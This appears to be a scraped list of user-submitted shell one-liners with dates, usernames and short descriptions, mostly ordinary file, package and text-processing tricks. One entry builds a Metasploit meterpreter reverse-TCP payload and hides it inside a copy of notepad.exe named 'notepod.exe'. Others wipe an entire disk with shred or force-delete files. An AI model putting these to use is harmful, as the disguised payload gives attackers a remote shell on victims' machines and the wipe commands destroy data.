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for f in $(ls *.xml.skippy); do mv $f `echo $f | sed 's|.skippy||'`; done
2009-11-19 21:36:26
User: argherna
Functions: ls mv sed
Tags: sed ls mv for
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Remove an unnecessary suffix from a file name for all files in a directory

For this example, all files in the current directory that end in '.xml.skippy' will have the '.skippy' removed from their names.

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exim -bV
2010-07-22 13:23:03
User: wr8cr8
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Exim version

Prints out the version of exim

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files=(/usr/share/cowsay/cows/*); cowsay -f `echo ${files[$((RANDOM%${#files}))]}` `fortune` | toilet -F gay -f term
2011-02-20 05:55:33
User: lkjoel
Tags: ascii art fortune cowsay toilet ascii art
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Cowsay Random Cow saying your fortune with colorized output

This command will tell you your fortune, with a nice Ascii Art animal, and it is colorized

You need cowsay, toilet and fortune installed.

On Ubuntu this is:

sudo apt-get install cowsay toilet fortune

Debian:

aptitude install cowsay toilet fortune
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echo -n '#!'$(which awk)
2012-02-13 12:15:41
User: SuperFly
Functions: echo which
Tags: bash
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before writing a new script

Try it this way...

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wget -k $URL
2010-08-21 17:39:53
User: minnmass
Functions: wget
Tags: wget
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transform relative URLs (shoddy hack but it works)

The "-k" flag will tell wget to convert links for local browsing; it works with mirroring (ie with "-r") or single-file downloads.

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find . -exec grep "test" '{}' /dev/null \; -print
2009-02-06 10:49:00
User: rbattu
Functions: find grep
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search for the content in a directory
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watch -n <seconds> <command>
2009-09-04 15:19:42
User: aonick
Functions: watch
Tags: bash
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bash function to check for something every 5 seconds

Every seconds do

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apt-cache search perl | grep module | awk '{print $1;}' | xargs sudo apt-get install -y
2010-11-26 14:00:39
User: captwheeto
Functions: apt awk grep install perl sudo xargs
Tags: ubuntu linux bash cli apt aptitude apt-cache
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Bulk install

I used this to mass install a lot of perl stuff. Threw it together because I was feeling *especially* lazy. The 'perl' and the 'module' can be replaced with whatever you like.

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find <dir> -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < <time in epoc> ) print $1 ;}' | xargs rm --verbose -fr ;
2009-11-20 16:31:58
User: angleto
Functions: awk find rm xargs
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remove files and directories with acces time older than a given date

remove files with access time older than a given date.

If you want to remove files with a given modification time replace %A@ with %T@. Use %C@ for the modification time.

The time is expressed in epoc but is easy to use any other ordered format.

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dir='path to file'; tar cpf - "$dir" | pv -s $(du -sb "$dir" | awk '{print $1}') | tar xpf - -C /other/path
2010-01-19 19:05:45
User: starchox
Functions: awk dir du tar
Tags: copy tar cp
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transfer files locally to be sure that file permissions are kept correctly showing progress

This may seem like a long command, but it is great for making sure all file permissions are kept in tact. What it is doing is streaming the files in a sub-shell and then untarring them in the target directory. Please note that the -z command should not be used for local files and no perfomance increase will be visible as overhead processing (CPU) will be evident, and will slow down the copy.

You also may keep simple with, but you don't have the progress info:

cp -rpf /some/directory /other/path
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python -c "from uuid import UUID; print UUID('63b726a0-4c59-45e4-af65-bced5d268456').hex;"
2011-11-20 10:35:44
User: mackaz
Functions: python
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Remove dashes in UUID

Remove dashes, also validates if it's a valid UUID (in contrast to simple string-replacement)

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find . -type f -exec grep -l "some string" {} \;
2012-11-15 10:14:21
User: dckt
Functions: find grep
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finds all files that contain "some string"
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find -amin +[n] -delete
2009-11-20 17:15:28
User: TeacherTiger
Functions: find
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remove files and directories with acces time older than a given time

Deletes files older than "n" minutes ago. Note the plus sign before the n is important and means "greater than n". This is more precise than atime, since atime is specified in units of days. NOTE that you can use amin/atime, mmin/mtime, and cmin/ctime for access, modification, and change times, respectively. Also, using -delete is faster than piping to xargs, since no piping is needed.

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find -name "*.php" -exec php -l {} \; | grep -v "No syntax errors"
2010-07-23 08:09:47
User: ejrowley
Functions: find grep
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Find errors in your php website

If your site is struck with the white screen of death you can find the syntax error quickly with php lint

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echo !$
2011-02-21 21:05:56
User: felix001
Functions: echo
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Show last argument

used to output the last argument. www.fir3net.com

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msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepod.exe
2011-09-09 18:33:47
User: kev
Tags: msf
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encode payload
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find / -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
2012-11-16 01:11:53
User: anhpht
Functions: find ls xargs
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Find all files with setuid bit
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acpi | cut -d '%' -f1 | cut -d ',' -f2
2009-02-16 13:36:01
User: sn0opy
Functions: acpi cut
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Print the current battery status
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VBoxManage controlvm ServidorProducao savestate
2009-12-16 17:12:11
User: rduarte
Tags: Ubuntu virtualbox VBoxHeadless
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Save VM running as headless
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mkdir {1..100}
2011-02-21 21:09:37
User: felix001
Functions: mkdir
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make multiple directories

make multiple directories within bash. www.fir3net.com

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apt-cache policy mythtv
2011-08-05 17:34:41
User: PLA
Functions: apt
Tags: Debian mythtv mythbuntu
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Determine MythTV Version on a Debian System

Use this command to determine what version of MythTV you are running on a Debian system. Tested on a Mythbuntu installation.

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rdesktop -a 16 luigi:3052
2009-12-16 17:14:05
User: rduarte
Tags: Ubuntu rdesktop
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Open a RemoteDesktop from terminal
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cp foo.txt foo.txt.tmp; sed '$ d' foo.txt.tmp > foo.txt; rm -f foo.txt.tmp
2012-09-13 20:57:40
User: kaushalmehra
Functions: cp rm sed
Tags: sed unix
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Deleting / Ignoring tailer record from the file

sed '$ d' foo.txt.tmp

...deletes last line from the file

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guid(){ lynx -nonumbers -dump http://www.famkruithof.net/uuid/uuidgen | grep "\w\{8\}-" | tr -d ' '; }
2009-02-06 13:26:33
User: root
Functions: grep tr
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GUID generator
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sudo shred -zn10 /dev/sda
2009-04-30 13:02:43
User: dcabanis
Functions: shred sudo
Tags: disk usage shredding
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Shred an complete disk, by overwritting its content 10 times

Shred can be used to shred a given partition or an complete disk. This should insure that not data is left on your disk

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